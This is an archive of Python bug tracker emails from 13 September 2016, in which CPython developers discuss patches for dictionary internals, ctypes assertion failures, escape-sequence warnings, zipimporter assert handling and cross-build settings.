From report at bugs.python.org  Tue Sep 13 10:04:49 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 14:04:49 +0000
Subject: [issue27111] redundant variables in long_add and long_sub
In-Reply-To: <1464122604.65.0.69831533642.issue27111@psf.upfronthosting.co.za>
Message-ID: <1473775489.92.0.0331644198285.issue27111@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27111>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:05:54 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 14:05:54 +0000
Subject: [issue27222] redundant checks and a weird use of goto statements in
 long_rshift
In-Reply-To: <1465070067.21.0.305651029523.issue27222@psf.upfronthosting.co.za>
Message-ID: <1473775554.4.0.220967525564.issue27222@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27222>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:11:08 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 14:11:08 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473775868.82.0.953757335167.issue28120@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

v2 now enhances existing dict.pop() unittest to cover this case.

----------
Added file: http://bugs.python.org/file44632/issue28120_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:13:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 14:13:25 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473776005.93.0.0750802174182.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

+        # issue 28120
+        c['a'] = 4

Can you please elaborate the comment? Something like:

# issue 28120: Try to remove a pending key in a splitted table,
# it must not crash

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:26:27 2016
From: report at bugs.python.org (Vajrasky Kok)
Date: Tue, 13 Sep 2016 14:26:27 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
Message-ID: <1473776787.3.0.402346497764.issue27838@psf.upfronthosting.co.za>


Vajrasky Kok added the comment:

The only way I can reproduce this in Linux (still downloading FreeBSD Current), is to remove user from the group before (I did it in different terminal) executing os.chown method to that specific group id.

I am thinking to add more information in the exception message but let's wait until I finish downloading FreeBSD Current. Maybe I am luckier in BSD.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:27:52 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 14:27:52 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473776872.26.0.881635319233.issue28120@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


Added file: http://bugs.python.org/file44633/issue28120_v3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:40:12 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 14:40:12 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473777612.41.0.00487108276248.issue28125@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> Plus the abi flags should not be set by hand, you'll get in trouble at least for naming extensions, or building extensions for the wrong abi flags. This was an explicit decision when I first started adding the cross-build changes.

What do you mean ? The abi flags are set by configure and not by hand.
In which issue is this explicit decision taken, and where is it motivated ?

> So proposing instead to base a cross build on a _PYTHON_MULTIARCH environment variable and deriving the sysconfigdata name on that.

The _PYTHON_SYSCONFIGDATA_NAME environment variable as the merit to document its purpose with its name. The CPython cross-compilation system is difficult enough to understand that this is a significant advantage.  What are the advantages of introducing this new _PYTHON_MULTIARCH environment variable instead, where else would it be used ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:46:40 2016
From: report at bugs.python.org (Andreas Gustasfson)
Date: Tue, 13 Sep 2016 14:46:40 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473778000.47.0.191953606449.issue27973@psf.upfronthosting.co.za>


Andreas Gustasfson added the comment:

I am also suffering from this bug, using Python 2.7.12 on NetBSD, and it is blocking my efforts to do automated testing of NetBSD/Xen.

I'm attaching a minimal test case (only 3 lines).

----------
nosy: +gson
Added file: http://bugs.python.org/file44634/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:52:49 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 14:52:49 +0000
Subject: [issue28127] Add _PyDict_CheckConsistency()
Message-ID: <1473778369.72.0.526579545764.issue28127@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patch adds a function to check the consistency of a Python dictionary after each modification.

The current implementation does really simple checks, but more advanced checks might be added later.

I tried to check also the dictionary content, but it really makes Python too slow. Maybe we can add such checks, but using a special compilation flag when we test a new patch on dictobject.c.

+    assert(0 <= mp->ma_used && mp->ma_used <= keys->dk_size);
+    assert(0 <= keys->dk_usable
+           && keys->dk_usable <= keys->dk_size);
+    assert(0 <= keys->dk_nentries
+           && keys->dk_nentries <= keys->dk_size);

These checks are coarse. We may use more strict checks, but since I don't know well the implementation of dict, I chose to use safe bounds :-)

I wrote a function similar to _PyDict_CheckConsistency() in Objects/unicodeobject.c to help me to understand the new complex structure of a Unicode string, to detect bugs and to somehow document the implementation (it helps me to write many comments in unicodeobject.h on the different structures).

----------
files: dict_check_consistency.patch
keywords: patch
messages: 276281
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: Add _PyDict_CheckConsistency()
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44635/dict_check_consistency.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28127>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:03:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 15:03:07 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <20160913150245.99926.44505.26645C9E@psf.io>


Roundup Robot added the comment:

New changeset dc627ef9020f by Victor Stinner in branch '3.6':
Fix _PyDict_Pop() on pending key
https://hg.python.org/cpython/rev/dc627ef9020f

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:04:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 15:04:21 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473779061.48.0.305509922955.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Thanks Stefan Krah for the bug report, thanks Christian Heimes for helping to identify the bug, and obvious thanks to Xiang Zhang to write a fix with an unit test ;-)

----------
resolution:  -> fixed
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:04:53 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Tue, 13 Sep 2016 15:04:53 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473779093.48.0.972341570152.issue6087@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

> Ok, so we need to figure out whether the tests are wrong, or the 'fix' is wrong.

The tests were never updated, so most likely they will need changing. I was waiting for feedback about my point about _CONFIG_VARS['srcdir'], but I never got any at the time ... will look at updating the patch with updated tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:10:24 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 13 Sep 2016 15:10:24 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
Message-ID: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

In issue27364, invalid escape sequences in string literals are deprecated. Currently the deprecation message is not so useful when fixing lots of files in one or more large projects. For example, I have two files foo.py and bar.py:

# foo.py
import bar

# bar.py
print('\d')

It gives:
$ python3.6 -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
DeprecationWarning: invalid escape sequence '\d'

My idea is that the warning message can be improved to provide more information. In http://bugs.python.org/issue27364#msg269373 it's proposed to let a linter check such misuses. It's useful within a single project. For a project that depends on lots of external projects, a linter is not enough. Things are worse when __import__, imp or importlib are involved, or sys.path is modified. I have to either add some codes or use a debugger to show which module is imported.

For above reasons, I propose to add at least the filename and the line number to the warning message. For example:

$ ./python -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
  File "/home/yen/Projects/cpython/build/bar.py", line 1
    print('\d')
         ^
SyntaxError: (deprecated usage) invalid escape sequence '\d'

With that I can know which file or project I should blame.

Added some of reviewers from issue27364 to nosy list.

----------
components: Interpreter Core, Library (Lib)
messages: 276285
nosy: Chi Hsuan Yen, martin.panter, r.david.murray, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Improve the warning message for invalid escape sequences
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:11:03 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 13 Sep 2016 15:11:03 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473779463.01.0.316942155236.issue28128@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

And I'd like to ask Ned: for me it's an improvement of an existing feature, so I guess it can enter the 3.6 branch?

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:14:02 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 13 Sep 2016 15:14:02 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473779642.56.0.426423626416.issue27364@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Opened a new issue at Issue28128.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:14:14 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 15:14:14 +0000
Subject: [issue28129] assertion failures in ctypes
Message-ID: <1473779654.66.0.219445763591.issue28129@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In Modules\_ctypes\_ctypes.c, there are six functions with assertions that might fail:
    1. CDataType_from_buffer
    2. CDataType_from_buffer_copy
    3. PyCPointerType_set_type
    4. PyCPointerType_from_param
    5. PyCSimpleType_from_param
    6. _validate_paramflags
The following is true for each of these functions:
    - It assumes its first argument is a subclass (or an instance of a subclass) of some abstract ctype, which means it (the first argument) has a storage dict.
    - Thus, it asserts its first argument has a storage dict.
    - However, its first argument might be some abstract ctype (and not a subclass (or an instance of a subclass) of that abstract ctype), in which case the assertion fails.

In Modules\_ctypes\cfield.c, there are two functions with assertions that might fail:
    1. PyCField_set
    2. PyCField_get
These functions are the C implementations of the __set__ and __get__ functions (respectively) of the CFeild type. Each of them asserts its instance argument is a CDataObject, which might not be true.


------------ proposed changes ------------
Replace each of these assertions with an if statement that raises an exception in case of an invalid argument.


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I wrote an ugly script to verify the assertion failures on CPython without my patches, and to test the patches on CPython with my patches. The script is attached, but it would probably fail on a non-Windows machine.

I built the patched CPython for x86, and played with it a little. Everything seemed to work as usual.

In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: ctypes
files: testBugsOrPatches.py
messages: 276288
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: assertion failures in ctypes
type: crash
versions: Python 3.7
Added file: http://bugs.python.org/file44636/testBugsOrPatches.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28129>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:15:06 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 15:15:06 +0000
Subject: [issue28129] assertion failures in ctypes
In-Reply-To: <1473779654.66.0.219445763591.issue28129@psf.upfronthosting.co.za>
Message-ID: <1473779706.55.0.127257754897.issue28129@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44637/issue28129_ver1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28129>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:16:33 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 15:16:33 +0000
Subject: [issue28129] assertion failures in ctypes
In-Reply-To: <1473779654.66.0.219445763591.issue28129@psf.upfronthosting.co.za>
Message-ID: <1473779793.36.0.959015027898.issue28129@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44638/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28129>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:17:09 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 15:17:09 +0000
Subject: [issue28129] assertion failures in ctypes
In-Reply-To: <1473779654.66.0.219445763591.issue28129@psf.upfronthosting.co.za>
Message-ID: <1473779829.03.0.406604678194.issue28129@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44639/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28129>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:20:08 2016
From: report at bugs.python.org (INADA Naoki)
Date: Tue, 13 Sep 2016 15:20:08 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473780008.1.0.212028466835.issue28120@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Oh, very thank you, Xiang.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:21:49 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 13 Sep 2016 15:21:49 +0000
Subject: [issue27222] redundant checks and a weird use of goto statements in
 long_rshift
In-Reply-To: <1465070067.21.0.305651029523.issue27222@psf.upfronthosting.co.za>
Message-ID: <1473780109.53.0.285062609765.issue27222@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Sorry, this fell off my list of things to look at.

----------
assignee:  -> mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27222>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:24:08 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 15:24:08 +0000
Subject: [issue15393] JSONDecoder.raw_decode breaks on leading whitespace
In-Reply-To: <1342692596.02.0.962530841473.issue15393@psf.upfronthosting.co.za>
Message-ID: <1473780248.32.0.704289238459.issue15393@psf.upfronthosting.co.za>


R. David Murray added the comment:

Robert: as noted, skipping trailing whitespace would be breaking raw_decode's contract.  It is designed to parse a json document and return the position of the last character of that document.  If there is then another json document in the stream, parsing the remainder of the stream would skip that whitespace.  If it is some other data, then the whitespace should be preserved for whatever is parsing the remainder of the stream (if anything).

In any case that behavior cannot be changed because it would break backward compatibility.

I would not object to rejecting the change, but it does make raw_decode slightly more awkward to use if it does not skip the leading whitespace.  So I guess I'm +0.5 on accepting it as is.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15393>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:24:40 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 15:24:40 +0000
Subject: [issue15393] JSONDecoder.raw_decode breaks on leading whitespace
In-Reply-To: <1342692596.02.0.962530841473.issue15393@psf.upfronthosting.co.za>
Message-ID: <1473780280.37.0.375504287691.issue15393@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 2.7, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15393>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:35:09 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 15:35:09 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473780909.42.0.476521708069.issue25895@psf.upfronthosting.co.za>


R. David Murray added the comment:

I believe our stance on these has changed over time from "feature" to "bugfix", especially when there is a standards document to back it (but sometimes when there is not...we gave up a while ago on the MIME-type standards ever getting finalized and just bow to the reality of something being a defacto standard).

Given that, there should be no versionchanged directive.  I agree that if you want a versionchanged, then it is an enhancement and can only go into 3.7.

I'm a bit conflicted about whether these are bug fixes or features...I used to be on the feature side, but it is really annoying to have these 
"standard" things not work, so I'm more on the bugfix side now.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:43:12 2016
From: report at bugs.python.org (Ned Deily)
Date: Tue, 13 Sep 2016 15:43:12 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473781392.52.0.634455527263.issue28128@psf.upfronthosting.co.za>


Ned Deily added the comment:

It sounds like a fix but let's see the final patch first.  If a core developer wants to apply it to the default branch for 3.7, we can decide whether it should go into 3.6, too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:48:44 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 15:48:44 +0000
Subject: [issue22426] strptime accepts the wrong '2010-06-01 MSK' string but
 rejects the right '2010-06-01 MSD'
In-Reply-To: <1410904746.97.0.914535199618.issue22426@psf.upfronthosting.co.za>
Message-ID: <1473781724.01.0.800015675013.issue22426@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22426>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:01:46 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 16:01:46 +0000
Subject: [issue28130] Document that time.tzset updates time module constants
Message-ID: <1473782506.71.0.242774514927.issue28130@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

Reported by MAL in #22798 (msg251840):

"The fact that tzset() does update the module globals is
not documented."

The documentation should explicitly list timezone, daylight, altzone and tzname as the globals that are updated when time.tzset() is called.

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 276294
nosy: belopolsky, docs at python
priority: normal
severity: normal
status: open
title: Document that time.tzset updates time module constants
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28130>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:02:18 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 16:02:18 +0000
Subject: [issue22798] time.mktime doesn't update time.tzname
In-Reply-To: <1415189548.18.0.514821385606.issue22798@psf.upfronthosting.co.za>
Message-ID: <1473782538.01.0.838357189228.issue22798@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

MAL> The fact that tzset() does update the module globals is
not documented.

See #28130.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22798>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:02:25 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 16:02:25 +0000
Subject: [issue22798] time.mktime doesn't update time.tzname
In-Reply-To: <1415189548.18.0.514821385606.issue22798@psf.upfronthosting.co.za>
Message-ID: <1473782545.83.0.0704755315251.issue22798@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22798>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:19:15 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 13 Sep 2016 16:19:15 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
Message-ID: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>


New submission from Jason R. Coombs:

Grabbing the recently released Python 3.6.0b1, I tried running one of my test suites, but found that some assertions were failing to assert when the package was loaded as a zip file (such as with pytest-runner installed dependencies). I distilled the issue to this:

$ cat > mod.py
def test(val):
        assert(val)
        print(val)
$ zip mod.zip mod.py
updating: mod.py (deflated 20%)
$ rm mod.py
$ python
Python 3.6.0b1 (v3.6.0b1:5b0ca4ed5e2f, Sep 12 2016, 09:24:46) 
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path.append('mod.zip')
>>> import mod
>>> mod.test(False)
False
>>> mod.__loader__
<zipimporter object "mod.zip">
>>> sys.flags.optimize
0

I would have expected the call to mod.test to have raised an AssertionError, and on Python 3.5 it does.

I searched the what's new and didn't see anything advertising this change, so I suspect it's an unintentional regression.

I'm including Brett for his familiarity with importlib, but welcome re-assignment.

If I can do more to help, let me know.

----------
components: Library (Lib)
messages: 276296
nosy: brett.cannon, jason.coombs, ned.deily
priority: release blocker
severity: normal
status: open
title: assert statements missed when loaded by zipimporter
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:19:25 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 13 Sep 2016 16:19:25 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473783565.81.0.0502972722517.issue28109@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I'll take the latter. Give me a sec.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:27:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 16:27:40 +0000
Subject: [issue28127] Add _PyDict_CheckConsistency()
In-Reply-To: <1473778369.72.0.526579545764.issue28127@psf.upfronthosting.co.za>
Message-ID: <1473784060.75.0.481286291455.issue28127@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ok, here is a more complete _PyDict_CheckConsistency() with an optional DEBUG_PYDICT (disabled by default).

----------
Added file: http://bugs.python.org/file44640/dict_check_consistency-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28127>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:28:02 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 13 Sep 2016 16:28:02 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473784082.54.0.373740553966.issue28109@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

changeset:   103770:2c9e07db0ac4
tag:         tip
parent:      103768:879bde95a456
parent:      103769:f9b22b1bec2d
user:        Guido van Rossum <guido at python.org>
date:        Tue Sep 13 09:27:07 2016 -0700
summary:     Add text about PEP 526 to What's new in 3.6. Ivan L. (merge 3.6->3.7)

changeset:   103769:f9b22b1bec2d
branch:      3.6
parent:      103767:12d88d08f191
user:        Guido van Rossum <guido at python.org>
date:        Tue Sep 13 09:26:38 2016 -0700
summary:     Add text about PEP 526 to What's new in 3.6. Ivan L.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:36:21 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 16:36:21 +0000
Subject: [issue22724] byte-compile fails for cross-builds
In-Reply-To: <1414194759.57.0.515625475535.issue22724@psf.upfronthosting.co.za>
Message-ID: <1473784581.57.0.772423958024.issue22724@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

Cross-compilation of Android x86_64 on a linux x86_64 host followed by 'make install' does not fail anymore after the changes made in issue 27917. As expected since the triplets are different now when the target is an Android platform.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22724>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:39:03 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 16:39:03 +0000
Subject: [issue26865] Meta-issue: support of the android platform
In-Reply-To: <1461685011.99.0.617135447086.issue26865@psf.upfronthosting.co.za>
Message-ID: <1473784743.33.0.53945499498.issue26865@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
dependencies:  -byte-compile fails for cross-builds

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26865>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:43:04 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 16:43:04 +0000
Subject: [issue28132] impossible to uninstall python3.6.0b1-amd64 from windows
 10
Message-ID: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>


New submission from Big Stone:

most of the time, it confuses "uninstall" button for a "modify".
when not confusing, it takes 0.5 second for no visible effect.

----------
messages: 276301
nosy: Big Stone
priority: normal
severity: normal
status: open
title: impossible to uninstall python3.6.0b1-amd64 from windows 10

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:44:37 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 16:44:37 +0000
Subject: [issue28132] impossible to uninstall python3.6.0b1-amd64 from windows
 10
In-Reply-To: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>
Message-ID: <1473785077.98.0.833234775902.issue28132@psf.upfronthosting.co.za>


Big Stone added the comment:

small detail: installed via non-default mean:

python-3.6.0b1-amd64.exe TargetDir=C:\WinPython\basedir36\winpython-3.6.0b1-amd64\python-3.6.0b1.amd64 /quiet  InstallAllUsers=0 Include_launcher=0 InstallLauncherAllUsers=0 Include_test=0  AssociateFiles=0 Shortcuts=0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:54:30 2016
From: report at bugs.python.org (Jaysinh shukla)
Date: Tue, 13 Sep 2016 16:54:30 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1473785670.41.0.761836453466.issue28115@psf.upfronthosting.co.za>


Jaysinh shukla added the comment:

I'm working on this. :)

----------
nosy: +jaysinh.shukla

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:06:04 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 17:06:04 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
